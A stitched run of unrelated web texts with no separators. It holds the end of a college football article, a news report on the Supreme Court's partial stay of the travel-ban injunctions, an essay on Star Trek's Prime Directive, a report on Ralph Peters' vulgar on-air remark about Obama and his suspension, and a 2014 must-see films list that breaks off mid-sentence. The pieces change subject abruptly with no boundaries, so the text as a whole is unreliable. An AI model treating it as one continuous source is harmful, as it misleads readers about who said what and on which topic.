Ward acknowledges his spirits have dipped at times since that unexpected MRI result. He appreciates the support of his teammates, as many have vowed to reach a bowl for him. He's already talking like a coach, highlighting Washington's strong defensive front, how the Huskies are better than their record indicates and that the Beavers need to remember last season's drubbing in Corvallis.
Most importantly, Ward has confidence in a revamped Beavers offensive line that consistently opened holes against the Sun Devils and in his fellow backs — even if his career could be over sooner than expected.
"It's not about me being injured," Ward said. "It's about this team winning. So I'm just trying to get everybody ready."
In a per curiam opinion, the Court partially stayed the injunctions blocking enforcement of executive order 13,780:
We now turn to the preliminary injunctions barring enforcement of the §2(c) entry suspension. We grant the Government’s applications to stay the injunctions, to the extent the injunctions prevent enforcement of §2(c) with respect to foreign nationals who lack any bona fide relationship with a person or entity in the United States. We leave the injunctions entered by the lower courts in place with respect to respondents and those similarly situated, as specified in this opinion.
The Court wrote that the lower court injunctions, even accepting the First Amendment arguments against the order as likely to succeed, went too far:
[T]he injunctions reach much further than that: They also bar enforcement of §2(c) against foreign nationals abroad who have no connection to the United States at all. The equities relied on by the lower courts do not balance the same way in that context. Denying entry to such a foreign national does not burden any American party by reason of that party’s relationship with the foreign national.
The opinion also announced the Court will consolidate the cases from the U.S. Courts of Appeal for the Ninth and Fourth circuit, Trump v. Hawaii and Trump v. International Refugee Assistance Project, respectively. Both cases found the executive unenforceable as a likely violation of the U.S. Constitution’s First Amendment Establishment Clause because the lower courts held it was motivated by an attempt to disfavor Islam.
The Court had requested additional briefing from the parties in both cases earlier this month, signalling they would hear arguments on the case despite the Court going out of its regular term this week. Arguments are expected to be heard when the Court reconvenes in October. Attorney from the American Civil Liberties Union and the National Immigration Law Center are expected to face off against a government team now led by acting Solicitor General Jeffery Wall.
The government had argued in the new briefing that the injunctions had delayed the start date for the 90-day order. This would allow the ban, which effects those coming from Iran, Libya, Somalia, Sudan, Syria and Yemen, to remain valid despite having been issued in March.
A dissent from the per curiam decision, written by Justice Clarence Thomas and joined by Justices Samuel Alito and Neil Gorsuch, would have gone further and stayed the injunctions in their entirety, allowing the travel ban to go fully into effect immediately.
The executive order was the second issued on the matter. The first, Executive Order 13,769, also included Iraq and immeditaely was the subject of challenges in the courts. The current order was tailored to address the concerns raised in these initial lawsuits but soon was itself enjoined in both the Fourth and Ninth Circuits. Finding a likelihood the plaintiffs would succeed on First Amendment grounds, these courts’ decisions to enjoin the orders have heretofore prevented enforcement of the order.
Prevailing arguments in the lower courts have controversially included those based on statements made by the president and his surrogates while on the campaign trail as to his motivation for issuing the ban.
The Prime Directive (officially Starfleet Order 1) is a prohibition on interference with the other cultures and civilizations representatives of Starfleet encounter in their exploration of the universe. In particular, the Prime Directive is aimed at preventing interference with the internal development of civilizations that are less technologically advanced. The executive summary of the order given in the 1968 episode “Bread and Circuses” is:
no identification of self or mission; no interference with the social development of said planet; no references to space, other worlds, or advanced civilizations.
Even though Starfleet officers take an oath to uphold the Prime Directive even if it means sacrificing their own lives or the lives of their crews, as practiced, across several episodes of the various Star Trek series, it was not inviolable. Captain James T. Kirk seemed to violate it with some regularity, and sticklers for Starfleet regulations could go into detail about circumstances in which strict adherence to the Prime Directive is not required.
That said, how does the Prime Directive fare as a general approach to the ethics of sharing a universe?
The Prime Directive reflects both a consequentialist commitment to reducing harm and a Kantian commitment to respecting the autonomy of others. Built into the Prime Directive is an assumption that cultures are better off if left to their own devices (whether those “devices” are social practices or concrete technologies). Interference by Starfleet, even if well-intentioned, is judged likely to mess things up in unanticipated ways — and if the culture in question is to deal with unintended harms, it would be better if they result from the culture’s own free choices. This embodies a kind of anti-colonialist ethos, a commitment to respecting a civilization's own values, beliefs, and practices rather than imposing “better” ones upon them. (Recall that the original run of Star Trek coincided with the Vietnam War, American involvement in which made a policy of non-interference look pretty good to many viewers.)
As well, a policy of non-interference reflects a particular attitude to the project of studying other cultures, namely that what you’re trying to understand is how the culture and its members would behave if the observers weren’t there. Intervening is presumed to contaminate “natural” behaviors and the authentic causal chains (including eventual development of indigenous technologies) that flow from them.
Note that even observing the culture or civilization you are trying to learn about can interfere with it, depending on how you observe it. This is not quite the same as the “measurement problem” for quantum mechanical systems, where our measurements of such systems involves hitting them with electrons or photons or other stuff very similar in properties to the system we’re trying to measure (and where that measurement is not simply revealing the pre-existing state of the system but collapsing the wave-function to make the state you’re measuring). Rather, it’s more like the problem primatologists encounter in field studies, of whether their presence, if noticed by the primates they are observing, somehow deforms the natural behavior of these primates.
If your concern is not to change the natural behavior or development of alien citizens at any cost, your best bet is to stay at home rather than to explore new worlds.
But if the Prime Directive seems to line up with some strong moral intuitions — that we should respect the autonomy of other cultures and strive not to inflict even unintentional harms on them — it also bumps up against the fact that Star Trek is all about the ethical project of sharing a universe.
Sharing a universe with another culture is a different kind of project than treating that culture only as an object of study. Sharing a universe with other beings puts you in a different relationship with them than you would be with photons or prosimians you want to understand.
There may be circumstances in which choosing not to intervene results in more harm to a civilization (for instance, if Starfleet could share a vaccine or another technological tool that could prevent the civilization’s extinction). And there’s a way in which respecting a civilization’s autonomy by withholding information about self, mission, and other worlds could be downright paternalistic. Sharing a universe with other beings involves a kind of reciprocity — even if your technological attainment is quite different, it means recognizing you are owed the same moral consideration.
Maybe this is why the Prime Directive is not an exceptionless rule: Even if Starfleet ought not to play God, nor to use its superior technologies to impose its will by force, ultimately ethics may require that we trust members of other civilizations to choose their own paths even as they grapple with the possibilities presented by contact with Starfleet. Really sharing a universe is itself a kind of intervention. The trick is finding a way to share it on something like equal terms.
Retired U.S. Army Lt. Col. Ralph Peters called President Obama "a total pussy" during a live interview Monday for what he views as his impotent response to the threat of Islamic extremist terrorism.
Peters, a Fox News military analyst, appeared on Stuart Varney's Fox Business program to respond to Obama's Sunday night Oval Office address on the threat of terrorism, a speech that was widely panned. Peters, a fierce critic of Obama's national security policies, was visibly angry as he blasted the speech.
Peters said he was taken aback by Obama's continued references to Americans not giving into their fears.
"Mr. President, we're not afraid! We're angry! We're pissed off! We're furious!" Peters said. "We want you to react. We want you to do something. You're afraid! I mean, this guy is such a total pussy, it's stunning! We, the American people, who he does not know in any intimate sort of manner, we want action. We want action against Islamic State."
Peters went on to say that Obama had done more damage to American police departments than to the Islamic State and had restrained the U.S. military.
"This is a president who doesn't want to hurt our enemies," Peters said. "This is a president who cares more about thugs in Guantanamo or thugs in Ferguson, Missouri, than he does about law-abiding American citizens and their right to live in safety and peace."
Varney tried to cut in a couple times after Peters used the foul language.
"I can tell you are super angry, and I asked you what your reaction was, but I've got to call you … you can't use language like that on the program, OK?" Varney said.
Peters muttered, "I'm sorry."
Later on, Varney again admonished Peters for using "very strong language about the President of the United States," and Peters again apologized.
"Yes, Stuart, I do apologize for giving into my anger … but I feel the American people understand where I'm coming from on this," Peters said. "My choice of words was incorrect, but my sentiment, I think, is shared by many."
The clip was first noted by Media Matters for America, a left-wing media watchdog. We appreciate them flagging this important piece of commentary.
Peters wasn't the only Fox commentator to use vulgar language about Obama on Monday. Outnumbered panelist Stacey Dash said Obama didn't appear to "give a shit" about terrorism during her appearance on the daytime show. Fox announced later in the day that both Peters and Dash would be suspended for two weeks for their comments.
"Earlier today, FOX contributors Lt. Col. Ralph Peters and Stacey Dash made comments on different programs that were completely inappropriate and unacceptable for our air," Fox programming executive Bill Shine said in a statement. "FOX Business Network and FOX News Channel do not condone the use of such language, and have suspended both Peters and Dash for two weeks."
A quick word before you get into the meat of this: Since we uploaded this list back at the start of November, a number of the films we originally featured have been put back to 2015. Furthermore, some interesting movies have had 2014 release dates confirmed. As such, we felt it right in this instance to update the list. At the very bottom, we've left the entries for the films originally included, and the original comments are all intact, too. Just now that some of them refer to the list as it was in its previous form!
So then. These lists of anticipated forthcoming movies have become an annual fixture by now, and as ever, our selection has been tricky to whittle down. In restricting our list to just 25, we've tried to create a mix of the high-profile and the less obvious. Movies such as Non-Stop, Dawn Of The Planet Of The Apes, Big Hero Six and Edge Of Tomorrow came close but didn't quite make the cut, even though they have much to offer for their own reasons.
Furthermore, given the number of films competing for space, we've left the latest chapters of The Hunger Games and The Hobbit off the list. We're keen to see both, but we're wary of taking up slots with movies that have been on an annual cycle.
Then there are films like Hayao Miyazaki's swansong The Wind Rises, which doesn't qualify since it already came out in 2013 in most territories - likewise Ari Folman's animated film The Congress, which isn't due out in the UK until 2014, but made its debut in Cannes back in May.
So with all this in mind, here's our pick of the 25 must-see films of 2014. In 2012, we picked Gravity as our top choice. The year before? Prometheus. One of those would go on to work a lot better than the other. Let's see how we do this time...
If you want to buy any of these titles then check out our Top 25 Must-See Movies of 2014 Amazon Wishlist we curated just for you HERE.
25. RoboCop
This much-publicised remake has plenty going against it, not least the weight of history: Paul Verhoeven's RoboCop is rightly regarded by many as being among the best films of the 1980s, with its heady cocktail of graphic violence, black comedy and corporate satire. Now, we certainly don't expect next year's Robo remake to better the original, but there's at least one reason to look forward to it with some sense of optimism: the track record of Brazilian director Jose Padilha.
If you haven't heard of him, Padhila began his career with the documentary Bus 174, which told the remarkable true story of a man who took a busload of passengers hostage and ended up in the middle of a media circus. His next two feature films, Elite Squad and its sequel The Enemy Within, mixed action and suspense with a thought-provoking account of life and death in the slums of Rio de Janeiro.
Whether Padilha can (or will even be allowed) to bring the sense of realism and intensity of Elite Squad to his RoboCop remake remains to be seen, but we await the results with cautious enthusiasm.
Our review of the RoboCop reboot can be found here.
24. Noah
Truth be told, we're a bit torn on Noah. There are two biblical epics arriving in cinemas next year, with Ridley Scott's Exodus the other, and we're in two minds about both of them. Noah in particular has been in the news due to apparent disagreements between its director and Paramount over the final cut. That director? Darren Aronofsky, and it's his name that sneaks Noah onto our countdown.
Darren Aronofsky is comfortably one of the most interesting directors working in America right now, and Noah marks his belated move into big budget filmmaking (after he pulled out of making The Wolverine). His cast features Russell Crowe, Emma Watson, Jennifer Connelly, Logan Lerman and Anthony Hopkins, and the scale of the story - and presumably the film - suggests that we're going to get a big screen spectacle at the very least. However, if Aronofsky gets his cut, then it's going to be quite something to see what the man behind Pi, Black Swan and The Fountain can do with an awful lot more money to spend.
Here's our review Noah is here.
23. Calvary
The last time John Michael McDonagh made a film, we got the exceptional - and very funny - The Guard. His follow-up, Calvary, reunites him with the star of that movie, Brendan Gleeson, but we're getting a very different movie here. This one seems a lot darker for a start, although it's still being described in some quarters as a comedy/drama.
Gleeson headlines as a priest who's threatened while taking a confession. The crux of the film is that said priest is a good man, who finds himself in the midst of not so good things. In fact, the character's arguably a reversal of the The Guard's Gerry Boyle.
The cast is rounded out by Aidan Gillen, Kelly Reilly and Chris O'Down, amongst others. We'd by lying if we said that it wasn't the reunion of Gleeson and McDonagh that sold us on the movie, though...
Here's our review of Calvary.
22. Need For Speed
In most instances, movies based on videogames are shot, released and then despatched straight into the nearest cultural landfill site. But while Need For Speed is based on EA's long-running and ever-changing racing game franchise, it has a better pedigree than most. For one thing, it stars the great Aaron Paul as a street racer on a mission of vengeance across the highways of America, and he's backed up by a supporting cast which includes Dominic Cooper, Imogen Poots and Michael Keaton.
The script's by George Nolfi, who wrote Ocean's Eleven, Ocean's Twelve, and both wrote and directed The Adjustment Bureau. And while it's seldom a good idea to judge a movie by its trailer, the first promo for Need For Speed really does look exciting - and there's even a bit of drama and artistic lighting in evidence between all the requisite tyre squealings, crashes and bangs.
Our review of Need For Speed is here.
21. Selfless
Tarsem Singh's visually ornate movies - The Cell, The Fall, Immortals, Mirror Mirror - could be described as an acquired taste, but his style is immediately recognisable and, whether you like them or not, his films are seldom dull. We don't know a great deal about Selfless yet, but we do know that it's a science fiction thriller, and appears to be about a dying man whose consciousness is put into the body of a younger, healthier man (possibly the one belonging to Ryan Reynolds, who's the star). Unfortunately, that younger, healthier body has a murky past that has something to do with a murderous secret organisation.
Matthew Goode - who was marvellous in Park Chan Wook's Stoker this year - Natalie Martinez and Sir Ben Kingsley round out the supporting cast. If nothing else, we're intrigued to see how Singh's unique, often surreal filmmaking style will affect what sounds like a futuristic action thriller.
Look! It's our latest article about Selfless.
20. Muppets Most Wanted
The job doesn't get easier for the team behind The Muppets. The wide success of the 2011 movie makes this follow-up of sorts an even bigger challenge. After all, how do you top the last film and keep the momentum going?
Jason Segel isn't on board this time around, but Nicholas Stoller, who co-wrote the last film, shares scripting duties with James Bobin. Bobin is directing once again (before he heads off, it seems, to direct Alice In Wonderland 2, with Johnny Depp).
This time, it's a crime caper we're getting, one that sees the Muppets heading across Europe in the midst of a dastardly plan by the world's number one criminal. We'll keep the identity of said criminal secret (although it won't be by the time the film comes out), but perhaps the biggest bone of contention surrounding this new film is the decision to cast Ricky Gervais as said criminal's sidekick. Gervais is the human lead in the film, and his casting has already proven divisive. From what we've seen, he fits his specific role well (he's hardly reprising the kind of role that Segel took on in the first movie), although it'll be March 2014 before we see if we're proven right there.
Alongside Gervais are Ty Burrell and Tina Fey, with plenty of cameos still yet to be confirmed. Walter leads the familiar felted faces who will also be back. You don't need us to tell you we're looking forward to this a lot.
Our review of Muppets Most Wanted is here.
19. The LEGO Movie
Chris Miller and Phil Lord are the only directors to have two films on this list, and they're two of the three helmers of the eagerly-awaited LEGO Movie. Chris McKay makes up the rest of the trio, and between them, they're bringing the visual style of LEGO to the big screen for the first time.
The film will feature lots of DC characters in LEGO form, with Wonder Woman, Superman, Green Lantern and Batman all present and correct. But the focus will be on a character by the name of Emmet, voiced by Chris Pratt, who finds himself unwittingly recruited to help save the world from a foe with predictably dastardly plans.
The visual style alone lends itself to lots of fun here, but then you factor in that Lord and Miller previously gave the world the first Cloudy With A Chance Of Meatballs movie, and what a comedy treat that turned out to be. The LEGO Movie is certainly shaping up to follow in its path, and don't be surprised if this turns out to be a sizeable hit.
Please note: in those three paragraphs we didn't do one brick joke. You don't know how much restraint that took.
Here's our review of The LEGO Movie.
18. Stretch
Joe Carnahan's The Grey gave Liam Neeson arguably his best big screen role of the last few years. And whilst Carnahan's attempts to reboot Daredevil got caught up in rights expiration (bah), his next film nonetheless looks like it could be a 2014 surprise.
It's called Stretch, and follows a chaffeur who takes a job for a very, very rich man. Said rich man proceeds to make his life a living hell. Patrick Wilson is taking on the role of Stretch, and interestingly, Chris Pine is taking a less pleasant turn by playing the billionaire. Ed Helms and James Badge Dale are also in the cast.
Few directors can blend action, drama and comedy in quite as stylish a way as Joe Carnahan can, and when it works, you get no shortage of value for your ticket price. Stretch might just be the latest evidence of that.
Here's our latest article about Stretch.
17. Fury
Having first established himself as a writer of thrillers - Training Day, The Fast And The Furious, S.W.A.T. - David Ayer then moved into directing, with the so-so Harsh Times (2005) and Street Kings (2008) followed up by the excellent police drama End Of Watch. With that film proving such a critical and financial success, Ayer now has two films coming up in 2014: the first is Sabotage (formerly known as Ten), an action thriller starring Arnold Schwarzenegger.
The second - and the one we're most looking forward to - is Fury, a World War II action drama about the final days of the battle in Europe. Brad Pitt stars as a tank commander in a hopeless situation behind enemy lines, with Shia LaBeouf, Logan Lerman and Jon Bernthal among his crew. We like Ayer. We like tanks. Both reasons enough to be excited about an increasingly rare entry in the war film genre.
Here's our review of Fury.
16. Gone Girl
Since he adapted The Girl With The Dragon Tattoo, David Fincher has been concentrating more on the small screen, with the successful Netflix-backed US take on House Of Cards. While he's been doing that, the promised English language version of The Girl Who Played With Fire hasn't come to light, and Fincher has instead opted to adapt another novel, the hugely successful, unpredictable thriller, Gone Girl.
The book in question is written by Gillian Flynn, and she's also penned the screenplay. Fincher has cast Ben Affleck in the pivotal role of Nick Dunne, the narrator of the book and one of its main characters. It's arguably a far trickier role than the Bruce Wayne/Batman combo he has coming up, although there was less notable controversy when he landed this particular job.
Rosamund Pike co-stars (hopefully in better fitting clothes than she was made to wear in Jack Reacher), alongside Tyler Perry and Neil Patrick Harris, and the plan is for Fincher's tenth film to be in cinemas around October 2014. Given that even Fincher's less interesting movies have much to recommend about them, Gone Girl should be a grown-up, uncompromising thriller, from a man who's very, very good at making them.
Our review of Gone Girl is right here.
15. 22 Jump Street
Who would have thought that a seemingly by-the-numbers remake of an 80s TV show would turn out to be one of the funniest films of 2012? Directors Phil Lord and Chris Miller (Cloudy With A Chance Of Meatballs) clearly had a great time making this high school comedy thriller, and Channing Tatum showed off his knack for comic timing alongside Jonah Hill in an improv-heavy, good-natured hit. Can the same team of actors and filmmakers pull off the same trick twice with next year's sequel? We certainly hope so.
Our review of 22 Jump Street is here.
14. The Monuments Men
Delayed from a 2013 release, where it had a whiff of Oscar buzz about it, The Monuments Men is the latest directorial effort from George Clooney (he co-wrote the script as well). This one's been delayed for good reasons, too: Clooney wouldn't have had time to meet the original end of 2013 release date, and so all concerned agreed to put the release back to February 2014, to give him some valuable extra weeks.
Clooney's uncovered a fascinating story to tell, that of Roosevelt ordering a small platoon of soldiers being sent into Germany in World War II, with the aim of recovering artistic masterpieces deep behind enemy lines.
He's got some cast, too. As well as Clooney himself, the call sheet features Matt Damon, Bill Murray, John Goodman, Jean Dujardin and Hugh Bonneville. And all in a quest to save some cultural heritage. Clooney's an excellent director on his day - Good Night And Good Luck, Confessions Of A Dangerous Mind - and whilst The Monuments Men may have slipped out of awards season, there's still lots to be interested in.
Behold! It's our review of The Monuments Men!
13. Captain America: The Winter Soldier
Marvel has two terrific looking films lined up for 2014, and if Captain America: The Winter Soldier picks up some of the themes we saw so well explored in the first movie, this could be a real highlight. Marvel's already been talking about the movie as a political thriller of sorts, a tease backed up by the casting of Robert Redford as the head honcho of S.H.I.E.L.D. And it's also revealed that this is the film that does a good deal of the bridging work between The Avengers and 2015's Avengers: Age Of Ultron.
We're promised a sizeable role for Scarlett Johansson's Black Widow here, and there's also room in the film for Hayley Atwell, Samuel L Jackson, Toby Jones and Cobie Smulders to make return appearances. Plus, Chris Evans in the title role of course. Meanwhile, Anthony Mackie is Sam Wilson (aka Falcon), and Frank Grillo, Emily VanCamp, Georges St-Pierre and Sebastian Stan are all onboard.
Directors Joe and Anthony Russo have the underwhelming movie Me, You And Dupree to their name, but more interestingly, a whole bunch of brilliant Community episodes. Marvel deserves credit once more for working hard to find interesting directors, and count us amongst the many excited to see what the Russos have come up with here.
Here's our review of Captain America: The Winter Soldier.
12. Jupiter Ascending
Ever since The Matrix put the Wachowskis on the Hollywood power list, the filmmaking duo have been using their clout to pursue their own unusual projects. Let's face it, few other filmmakers could have got the financing and cast together to make an adaptation of David Mitchell's Cloud Atlas, and while the results weren't perfect, the movie had some unforgettably striking moments.
Jupiter Ascending sees the Wachowskis continuing to forge their own individual path. It's essentially a science fiction fairytale, with Mila Kunis playing a Russian toilet cleaner whose DNA somehow threatens the reign of someone called the Queen of the Universe. An eclectic cast has gathered, including Channing Tatum (whose character has "wolf DNA", we're told), Sean Bean, Tuppence Middleton, James D'Arcy and even Terry Gilliam, who shows up in a "small but vital part".
Jupiter Ascending sounds like it could be a work of madness, which is probably why we're genuinely looking forward to watching it.
Here's our Jupiter Ascending review.
11. The Imitation Game
It feels like we've been talking about The Imitation Game for years, for it's certainly taken its time getting itself before the cameras. Originally a project in which Leonardo DiCaprio was set to star, this historical drama about the life and work of Alan Turing - who broke the German Enigma code during World War II, only to later be persecuted, and prosecuted, for his sexuality - now features Benedict Cumberbatch in the lead role.
He's joined in the cast by Keira Knightley and Matthew Goode, with Morten Tyldum - who made the wonderful movie Headhunters - now directing. There have already been accusations levelled at the film regarding how little prominence it apparently gives Turing's homosexuality, but the producers have been firm in insisting that's not the case.
We're fascinated to see how the final film pans out, and if it is indeed a quality testament to a man whose heroic acts were ultimately deemed less important than his sexuality.
Our review of the film is here.
10. X-Men: Days Of Future Past
Great though 2011's X-Men: First Class was, it's exciting to have Bryan Singer back in the chair for Days Of Future Past, an adaptation of the 1981 comic book run which aims to tie the two timelines in the X-Men cinematic universe. To this end, we'll have both James McAvoy and Patrick Stewart playing Professor X in two separate epochs, and Michael Fassbender and Ian McKellen playing Magneto.
Having a fight for mutant survival play out across two points in time could prove too much for some directors, but Singer's The Usual Suspects is evidence that he can handle complex storylines with ease. Among the expected cast, including Hugh Jackman as Wolverine and a returning Anna Paquin as Rogue, there's also Ellen Page as Kitty Pryde, and the great Peter Dinklage as scientist Bolivar Trask.
If Singer can make another comic book movie as good as X2, we should be in for a real treat. Certainly on the basis of the first trailer, he's heading very much in the right direction.
Here's our review of Days Of Future Past.
9. How To Train Your Dragon 2
There are some terrific-looking animated movies that we simply didn't have space to squeeze into this countdown - Mr Peabody & Sherman and Big Hero Six chief amongst them. But our animated movie of choice for 2014 is the eagerly awaiting How To Train Your Dragon 2.
The first film was a triumph for DreamWorks Animation, and arguably one of its very best films. And whilst co-director Chris Sanders went off to make The Croods (and is now working on The Croods 2), the other co-director - Dean DeBlois - has been calling the shots on this sequel. In fact, he's also knee deep too in How To Train Your Dragon 3, which is scheduled to land in 2016.
For the purposes of chapter two, five years have moved on, so when we meet Hiccup and his friends again, they're late teenagers. But Hiccup is no ordinary teenager - he's not spending hours locked in his room looking at 'educational' YouTube videos - as he finds himself in the midst of a new conflict between humans and dragons. Oops.
We've already had a trailer for How To Train Your Dragon 2, and it went down a treat. Here's hoping the final cut of the film does when we finally get to see it June 2014.
You can find our review of How To Train Your Dragon 2 right here.
8. Guardians Of The Galaxy
In truth, Guardians Of The Galaxy may not turn out to be the best Marvel movie of 2014. But on paper, it's comfortably the biggest gamble. Not for the first time, Marvel is taking a property that the mass audience isn't particularly familiar with, and giving it to a director who isn't the most obvious choice.
So, we get a space-based adventure, from the man who directed Slither and Super (films we like, we should point out), that includes a talking tree, Bradley Cooper voicing a raccoon, Karen Gillan with no hair, and a cast of characters that don't easily lend themselves to the shelves of Toys R Us.
Bluntly, we can't wait. Chris Pratt, Zoe Saldana, Benicio del Toro and Michael Rooker are amongst the rest of the cast, and it seems clear that if you were looking for a comic book movie that's happy to resist the usual template, Guardians Of The Galaxy is looking like your best bet. How will it gel together with the broader Marvel Cinematic Universe? We're already getting clues and teases for that through mid-credits sequences. But we look forward to finding out more on August 1st.
Here's our review of the movie.
7. The Raid 2
When Gareth Evans' The Raid appeared in 2011, its effect felt like a solid punch between the eyes. With some lightning fast martial arts moves from Iko Uwais, a simple high-concept premise - about the storming of a drug lord's high-rise lair by a group of cops - and some incredibly intense, almost horror-like direction from Evans, The Raid was a truly thrilling action film.
The Raid 2 again stars Uwais - it's safe to say his former job in a call centre is now firmly behind him - who this time goes undercover in a Jakarta gang. Only time will tell whether Evans can create the same air of menacing intensity as the previous film, but with characters listed on IMDb with names like Hammer Girl and Baseball Bat Man, we can't wait to see how it all turns out.
Our thoughts on The Raid 2 can be found here.
6. Big Eyes
Tim Burton stormed back into form with the wonderful Frankenweenie in 2012, and Big Eyes builds on that, as he reteams with his Ed Wood writers - Scott Alexander and Larry Karaszewski - for a biopic that could by one of 2014's standouts.
Made for a modest price, Big Eyes stars Christoph Waltz as Walter Keane, who came to fame in the 1950s and 1960s for paintings that featured big-eyed children. Only they weren't his paintings: they were the work of his shy wife, Margaret, who's played in the film by Amy Adams.
Burton's film will frame this through the divorce battle that eventually occurred between Walter and Margaret, where the latter accused the former of stealing her work. The last time Burton made a low budget biopic, the aforementioned Ed Wood, the result was his best film, and an Oscar for Martin Landau. Might Big Eyes be the movie to finally get Amy Adams a gong? Maybe, maybe not. But it's most definitely one of our must-sees of 2014, and - for the first time in a while - a Tim Burton live action film that we're absolutely aching to see.
Here's our review of Big Eyes.
5. Birdman
Looking for an actor to play a one-time big screen superhero who's fallen out of the public eye? We're curious if Michael Keaton actually had to audition for Birdman, the new film from Alejandro González Iñárritu, and we certainly wouldn't be surprised if he didn't.
Birdman, billed as a comedy, sees Keaton as Riggan Thomson, once the man who played Birdman, but now desperately trying to put on a Broadway play (in this instance, Raymond Carver's What We Talk About When We Talk About Love). Barriers to him doing so? Ego, family, insecurity. On top of the usual stuff.
Emma Stone, Edward Norton, Andrea Riseborough, Zach Galafianakis, Naomi Watts and Amy Ryan co-star. But the wildcard here might be Iñárritu himself - it looks, on paper, like a change of tone from the man who brought us the amazing Amores Perros, and films such as 21 Grams and Babel.
If nothing else, the chance to see Keaton in a big, major lead role is comfortably enough to sell us a ticket. It's been too long...
Here's our review of Birdman.
4. How To Catch A Monster
As if Ryan Gosling wasn't an enviable enough figure, he's also turning his hand to directing with How To Catch A Monster. He's assembled an equally enviable cast for his debut, including Christina Hendricks, Saoirse Ronan, Matt Smith, Eva Mendes and Ben Mendelsohn. It's described as a fantasy neo-noir, about a single mother and her young son, and the discovery of a path to a city under the sea. If Gosling's directing's as good as his acting, this one could be marvellous.
How To Catch A Monster eventually changed its name to Lost River. Here's our latest article about it.
3. Interstellar
Christopher Nolan's a notoriously secretive filmmaker, and like Brad Bird's Tomorrowland, specific details surrounding Interstellar are difficult to come by. According to some sources, the story's about scientists trying to use wormholes in space to find arable land for a starving planet. Officially, though, all that's been confirmed is that it's about the discovery of a wormhole, and a team of scientists' voyage through it.
The cast includes Matthew McConaughey, Anne Hathaway, Jessica Chastain, Casey Affleck and John Lithgow, and filming has been underway since August in locations including Canada and Iceland. The screenplay, rewritten by Christopher and Jonathan Nolan, is based on the work of theoretical physicist Kip Thorne, so we should be in for something approaching the more cerebral science fiction of, say, 2001: A Space Odyssey.
If Inception's anything to go by, the synopsis and marketing will only give us a vague idea of the final film's true nature. We can't wait to see what filmmaking tricks Nolan has in store for us.
Here's our review of the film.
2. Godzilla
With 2010's Monsters, director Gareth Edwards proved that he could make an engaging sci-fi drama on a miniscule budget. And with Godzilla as his second picture, we'll get to see what he can do with a larger effects department and an entire team of technicians behind him.
The 1998 Godzilla adaptation may have played fast and loose with Japan's most famous kaiju, but there are signs everywhere that Edwards plans to make his film in the mode of Ishiro Honda's dark, sombre 1954 original. This is certainly backed up by the cast, which is full of actors capable of bringing the requisite gravitas: Bryan Cranston, Aaron Taylor-Johnson, Elizabeth Olsen, Juliette Binoche, Ken Watanabe and David Strathairn are just a few of the most prominent names.
A recently leaked Comic Con trailer fuelled our excitement further, with its ominous soundtrack and images of a devastated city establishing the mighty Godzilla as a truly intimidating force of nature.
Here's our review of the film.
1. Transcendence
Since Memento in 2000, cinematographer Wally Pfister became known as a regular collaborator with Christopher Nolan, and since that low-budget classic, the pair worked together on a string of projects, each more grand than the last. Transcendence marks Pfister's first project as director, and it sounds extremely exciting.
It's set in a future where scientists are on the cusp of creating a computer intelligence superior to our own, and a terrorist organisation is doing its best to prevent a technological singularity from occurring. Johnny Depp stars as a computer scientist whose consciousness is uploaded to the internet, and Rebecca Hall joins him as his wife and scientific colleague.
"Is it really Will who is interacting with humanity in order to make things better," reads the intriguing synopsis for the film, "or a sinister clone bent on the termination of the world as we know it?"
The premise alone sounds fantastic, and Pfister's presence means it'll be beautiful to look at, too. And while Pfister may have taken on a mammoth task in this potentially expensive, star-laden movie, let's not forget that he's spent more than a decade working with one of the finest mainstream film directors currently working. Transcendence could be the moment where Mister Pfister strikes out as a brilliant storyteller in his own right.
Here's our review of the film.
Finally: here are the films that we original featured, that have since been delayed to 2015...
The Secret Service
The last time Matthew Vaughn and Mark Millar got together, we ended up with the original Kick-Ass. Vaughn turned down the chance to make another X-Men film (following X-Men: First Class) to helm The Secret Service instead, and the film currently sits on the schedules for November 2014.
There's an essence of a junior James Bond to the film, as it follows an experienced secret agent who takes on a young apprentice. Colin Firth plays the former, with Taron Egerton tackling the role of the latter. And the cast is rounded out by the likes of Michael Caine and Samuel L Jackson. Furthermore, there are rumours of cameos from names such as David Beckham, Elton John, Adele and Lady Gaga. They've not been confirmed, though.
This does look an interesting project, whether they're included or not. As with Kick-Ass, Millar and Vaughn are keeping the budget low and the level of creative control high. It worked well for them last time, and there are plenty of reasons why it should all work well this time around too.
Here's our review of the film, which eventually became known as Kingsman: The Secret Service.
Frankenstein Mary Shelley's classic novel has been told and retold many times on the big screen, from James Whale's 1931 classic starring Boris Karloff, to the 2007 British TV version, which cast Helen McCrory as geneticist Dr Victoria Frankenstein. 2014 will add a further two retellings of The Modern Prometheus to that list: the action fantasy I, Frankenstein, starring Aaron Eckhart, and Frankenstein, penned by Chronicle screenwriter Max Landis. The latter's the one we're most looking forward to, partly because we were so impressed by Chronicle, but also because his description of what he's written sounds so strange. Landis' version of Frankenstein, as well as being based on Shelley's text, is also inspired by the story that has shifted and altered over the course of its retelling. In an interview with Aint It Cool, Landis rightly pointed out that the character Igor, for example, didn't even appear in the original novel, and only showed up in later Universal sequel - as played by Bela Lugosi. Landis' adaptation, then, will itself be a kind of Frankenstein's creation, with bits of half-remembered story pieced together to create something different. Daniel Radcliffe is set to play Igor, James McAvoy's cast as Victor Von Frankenstein, and Jessica Brown Findlay will play a character named Lorelei. The film will, Landis says, be about "friendship and science, genius and madness, love and ambition, life and death." Here's our review of I, Frankenstein. And here's our latest article on Max Landis' Victor Frankenstein. Mad Max: Fury Road Poor George Miller. Not only has the director's fourth Mad Max film spent more than two decades in development hell, it's also faced all kinds of hardships since it finally went into production a few years ago, from rain storms forcing a shift in locations, and budget overruns to some early 2013 reshoots. Thankfully, there are signs that the Mad Max: Fury Road saga will have a happy ending, with anonymous sources stating that Miller's related sequel is actually very good - it's even said that Warner Bros were so happy with what they saw, they even gave Miller some extra money to go back and shoot some extra scenes to beef up one of Fury Road's major action set pieces. The presence of Tom Hardy in the lead role also gives us hope, as does Miller's persistence in getting his sequel made: Mad Max 2 was a classic film, and with Fury Road picking up straight after the events of that film, we're hoping the belated follow-up will recapture some of its brilliance. Here's our review of Mad Max: Fury Road. Tomorrowland Speculation over the nature of this Brad Bird picture has been raging for quite a while. Once going under the working title 1952, the project was once rumoured to be a Star Wars sequel, a Buck Rogers remake, or maybe an adaptation of an EE 'Doc' Smith novel. Those theories have been largely dispelled since, but even now, we're not entirely sure what Tomorrowland's about. We know it shares a name with Disney's famous theme land, and we know that George Clooney will star as an inventor, Hugh Laurie will play the villain, and Britt Robertson will play the heroine - but that's about it. There's a curious air of secrecy 